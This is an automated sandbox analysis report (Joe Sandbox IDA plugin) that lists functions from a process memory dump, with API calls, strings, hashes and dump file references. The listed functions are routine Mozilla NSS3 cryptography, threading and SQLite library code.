API ID: Item_UtilZfree$K11_$CriticalErrorFreeSectionValue$DestroyEnterFromInternalLeaveMakePrivPrivateSlotUnlockUnwrap
String ID:
API String ID: 1673584487-0
Opcode ID: 862dd5129f7a037e3575ac8832f4a2916138e9454ed2bf05b5027a0359c026ed
Instruction ID: 6a0baee82129e64c2b054da4e8a30190adf61d39224cc86be9de8520d405b6bd
Opcode Fuzzy Hash: 862dd5129f7a037e3575ac8832f4a2916138e9454ed2bf05b5027a0359c026ed
Instruction Fuzzy Hash: EFE17A71901265DBEB20CF25CC54BAEBBB9EF44308F1081A9EC19A7751E7329E84CF90

Function 6C5B0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,[l), ref: 6C5B0C81

Part of subcall function 6C59BE30: SECOID_FindOID_Util.NSS3(6C55311B,00000000,?,6C55311B,?), ref: 6C59BE44

Part of subcall function 6C588500: SECOID_GetAlgorithmTag_Util.NSS3(6C5895DC,00000000,00000000,00000000,?,6C5895DC,00000000,00000000,?,6C567F4A,00000000,?,00000000,00000000), ref: 6C588517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5B0CC4

Part of subcall function 6C59FAB0: free.MOZGLUE(?,-00000001,?,?,6C53F673,00000000,00000000), ref: 6C59FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5B0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C5B0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C5B0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C5B0D7D
free.MOZGLUE(00000000), ref: 6C5B0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5B0DC1
free.MOZGLUE(00000000), ref: 6C5B0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5B0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5B0E0F

Part of subcall function 6C5895C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C567F4A,00000000,?,00000000,00000000), ref: 6C5895E0
Part of subcall function 6C5895C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C567F4A,00000000,?,00000000,00000000), ref: 6C5895F5
Part of subcall function 6C5895C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C589609
Part of subcall function 6C5895C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C58961D
Part of subcall function 6C5895C0: PK11_GetInternalSlot.NSS3 ref: 6C58970B
Part of subcall function 6C5895C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C589756
Part of subcall function 6C5895C0: PK11_GetIVLength.NSS3(?), ref: 6C589767
Part of subcall function 6C5895C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C58977E
Part of subcall function 6C5895C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C58978E

Strings

*,[l, xrefs: 6C5B0C69, 6C5B0DE0, 6C5B0C80, 6C5B0C8B, 6C5B0CAF
-$[l, xrefs: 6C5B0C64
*,[l, xrefs: 6C5B0DCC

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,[l$*,[l$-$[l
API String ID: 3136566230-357155938
Opcode ID: 69dde2bae92f253878344897e2579db1f5442bb37c8c84cb96d7f23f40d05ba1
Instruction ID: 79c8be1f2f24de5f2af79f00be3ed4b19c6676a0bc9062108a21cbc50deb127b
Opcode Fuzzy Hash: 69dde2bae92f253878344897e2579db1f5442bb37c8c84cb96d7f23f40d05ba1
Instruction Fuzzy Hash: 2041D0F1901246AFEB009F65DD41BAF7A78EF8031CF100129E91667B81E731EA54CBE2

Function 6C5A6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C671DE0,?), ref: 6C5A6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C5A6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C5A6D82
DER_GetInteger_Util.NSS3(?), ref: 6C5A6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5A6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C5A6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C5A6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C5A6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C5A6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C5A7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C5A7033
free.MOZGLUE(?), ref: 6C5A703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C5A7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C5A7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C5A70AF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 1d45638770965bd02d9e8f146ef0d602da8edd74077278e8dad5b9c81e7a3c06
Instruction ID: d57c369580cd7ebc1cd67f75c2ed1f1e45f8edeb66eddff8b5faddf9a70a89c2
Opcode Fuzzy Hash: 1d45638770965bd02d9e8f146ef0d602da8edd74077278e8dad5b9c81e7a3c06
Instruction Fuzzy Hash: 1EA10771905300DBEB008BAADC85B6F32A4EB8530CF244939E959CBB95FF75D8468793

Function 6C56AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C54AB95,00000000,?,00000000,00000000,00000000), ref: 6C56AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C54AB95,00000000,?,00000000,00000000,00000000), ref: 6C56AF39
PR_Unlock.NSS3(?,?,?,6C54AB95,00000000,?,00000000,00000000,00000000), ref: 6C56AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C54AB95,00000000,?,00000000,00000000,00000000), ref: 6C56AF69
TlsGetValue.KERNEL32 ref: 6C56B06B
EnterCriticalSection.KERNEL32(?), ref: 6C56B083
PR_Unlock.NSS3(?), ref: 6C56B0A4
TlsGetValue.KERNEL32 ref: 6C56B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C56B0D9
PR_Unlock.NSS3 ref: 6C56B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C56B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C56B182

Part of subcall function 6C59FAB0: free.MOZGLUE(?,-00000001,?,?,6C53F673,00000000,00000000), ref: 6C59FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C56B177

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C54AB95,00000000,?,00000000,00000000,00000000), ref: 6C56B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C54AB95,00000000,?,00000000,00000000,00000000), ref: 6C56B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C54AB95,00000000,?,00000000,00000000,00000000), ref: 6C56B1C2

Part of subcall function 6C591560: TlsGetValue.KERNEL32(00000000,?,6C560844,?), ref: 6C59157A
Part of subcall function 6C591560: EnterCriticalSection.KERNEL32(?,?,?,6C560844,?), ref: 6C59158F
Part of subcall function 6C591560: PR_Unlock.NSS3(?,?,?,?,6C560844,?), ref: 6C5915B2

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 3360e4d2ecfeca4087e767cf89c64422ad61fa27d5b39a890c2f700b11b1058a
Instruction ID: 299d058bbf90d3dff390d6a15eae4f9714025b796c64b915bf091f14596923c6
Opcode Fuzzy Hash: 3360e4d2ecfeca4087e767cf89c64422ad61fa27d5b39a890c2f700b11b1058a
Instruction Fuzzy Hash: 4EA1C3B5D00205EBEF00AF66DC81AEEBBB4EF45308F144125E905A7B61E731E955CBA1

Function 6C58E550 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 384COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C58E5A0

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

memcpy.VCRUNTIME140(?,?,?), ref: 6C58E5F2

Strings

0, xrefs: 6C58EA4D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ErrorValuememcpy
String ID: 0
API String ID: 3044119603-4108050209
Opcode ID: 0e0c7d8c7b2dfc3a717c95e6acd62c43931214179cfecb93b6fdbd966d993ebe
Instruction ID: e5121fa29a91c66bc5eb1a415d99c459d70c3167d777a4192771204447847333
Opcode Fuzzy Hash: 0e0c7d8c7b2dfc3a717c95e6acd62c43931214179cfecb93b6fdbd966d993ebe
Instruction Fuzzy Hash: 30F17BB5A012299BDF21CF25DC84BDA77B5BF49308F0441A8E948A7641E7B4EE94CFD0

Function 6C562C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?Vl,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562C62
EnterCriticalSection.KERNEL32(0000001C,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562C76
PL_HashTableLookup.NSS3(00000000,?,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562C93

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23), ref: 6C562CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C55E477,?,?,?,00000001,00000000,?), ref: 6C562CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C55E477,?,?,?,00000001,00000000,?), ref: 6C562D4D
EnterCriticalSection.KERNEL32(?), ref: 6C562D61
PL_HashTableLookup.NSS3(?,?), ref: 6C562D71
PR_Unlock.NSS3(?), ref: 6C562D7E

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Strings

#?Vl, xrefs: 6C562C43

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?Vl
API String ID: 2446853827-336702144
Opcode ID: a82f362fa8fae5976404c90e3140646a39dcacc6cce9103b8838ede21e71bc66
Instruction ID: 7cf0576ab70d920d0075b830ef33a8873b630ba477a1d270685e3deb7af03884
Opcode Fuzzy Hash: a82f362fa8fae5976404c90e3140646a39dcacc6cce9103b8838ede21e71bc66
Instruction Fuzzy Hash: C851F2B6D00205EBEB009F25DC858AA7778BF5935CF048521EC1997B21EB31ED68CBE1

Function 6C61A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C61A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C61A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C61A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C61A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C61A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C61A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C61A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C61A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C61A69A

Strings

%s at line %d of [%.10s], xrefs: 6C61A62C
database corruption, xrefs: 6C61A627
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C61A61D, 6C61A68B, 6C61A6B3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: 09f8f9e313828452984747a9027d3c80d05e32e92a6a0e2cbc914237277897ce
Instruction ID: e20249e28443adf3b139d62f2e02df0682345c0ce636ace2b090890239b802ca
Opcode Fuzzy Hash: 09f8f9e313828452984747a9027d3c80d05e32e92a6a0e2cbc914237277897ce
Instruction Fuzzy Hash: 1151C6B1A0C300ABDB01CF29D890A5A7BE0AF45319F54882DF84947A52E735D998CFDB

Function 6C5445B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,6C541984,?), ref: 6C5445F2
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C5445FB

Part of subcall function 6C5A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A08B4

SECITEM_CompareItem_Util.NSS3(00000000,-00000001), ref: 6C54461E

Part of subcall function 6C59FCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6C544101,00000000,?,?,?,6C541666,?,?), ref: 6C59FCF2

SECITEM_CopyItem_Util.NSS3(00000000,?,-00000019), ref: 6C544646
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C544662
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C54467A
PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C544691
PL_FreeArenaPool.NSS3 ref: 6C5446A3
PL_FinishArenaPool.NSS3 ref: 6C5446AB
free.MOZGLUE(?), ref: 6C5446BC
PORT_ZAlloc_Util.NSS3(?), ref: 6C5446E5
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C544717

Strings

security, xrefs: 6C5445EC

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$ArenaItem_Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_freememcmpmemcpy
String ID: security
API String ID: 3482804875-3315324353
Opcode ID: 4e4c9c867c1209c96ba150bcbaf108dddadac27457c7ad13bd486f4f2f4cca11
Instruction ID: db9e56a51f71d1a163f708f53841ab0a5dd79c03fd95745daa51848f2963e5fb
Opcode Fuzzy Hash: 4e4c9c867c1209c96ba150bcbaf108dddadac27457c7ad13bd486f4f2f4cca11
Instruction Fuzzy Hash: 6A4138B2945310ABE700CF669C40B4B77E8AF8535CF148A29EC19A3B41E730E914CADA

Function 6C5BAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5BADB1

Part of subcall function 6C59BE30: SECOID_FindOID_Util.NSS3(6C55311B,00000000,?,6C55311B,?), ref: 6C59BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5BADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5BAE08

Part of subcall function 6C59B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6718D0,?), ref: 6C59B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5BAE25
PL_FreeArenaPool.NSS3 ref: 6C5BAE63
PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C5BAE4D

Part of subcall function 6C4C4C70: TlsGetValue.KERNEL32(?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4C97
Part of subcall function 6C4C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CB0
Part of subcall function 6C4C4C70: PR_Unlock.NSS3(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5BAE93
PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C5BAECC
PL_FreeArenaPool.NSS3 ref: 6C5BAEDE
PL_FinishArenaPool.NSS3 ref: 6C5BAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5BAEF5
PL_FinishArenaPool.NSS3 ref: 6C5BAF16

Strings

security, xrefs: 6C5BADEE

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: eef961830e440bac58f640e1f0f2aa55a54614b7173a2e8b1675203ee2f22d05
Instruction ID: 36bd592a66f8cfba418e89b063e857cffa37ff6b29dacfa2a866d59a6a30a7aa
Opcode Fuzzy Hash: eef961830e440bac58f640e1f0f2aa55a54614b7173a2e8b1675203ee2f22d05
Instruction Fuzzy Hash: 6E413AB5940300ABF7209B599C94BAF3AA8AF8270CF500925F914B6F41FB35DD19C6D7

Function 6C65AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609890: TlsGetValue.KERNEL32(?,?,?,6C6097EB), ref: 6C60989E

EnterCriticalSection.KERNEL32(?), ref: 6C65AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C65AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C65AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C65AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C65B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C65B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C65B070
PR_JoinThread.NSS3(?), ref: 6C65B07B
free.MOZGLUE(?), ref: 6C65B084
EnterCriticalSection.KERNEL32(?), ref: 6C65B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C65B0C4
PR_JoinThread.NSS3(?), ref: 6C65B0F3
free.MOZGLUE(?), ref: 6C65B0FC
PR_JoinThread.NSS3(?), ref: 6C65B137
free.MOZGLUE(?), ref: 6C65B140

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: ec0b1bca0e8b6074e29c8e3a3b04d9b2c8c5a978dea0f5c2a131eed4afad4e0e
Instruction ID: ad645b796b4928b04c5b71db02d56cf0ac39bdaf70e4e6ed357e66156d6275ed
Opcode Fuzzy Hash: ec0b1bca0e8b6074e29c8e3a3b04d9b2c8c5a978dea0f5c2a131eed4afad4e0e
Instruction Fuzzy Hash: 72918FB5A00601DFCB04DF15C880856BBF1FF8631C7698569D81A5BB22E732FC55CB99

Function 6C562980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C549E71,?,?,6C55F03D), ref: 6C5629A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C549E71,?), ref: 6C5629B6
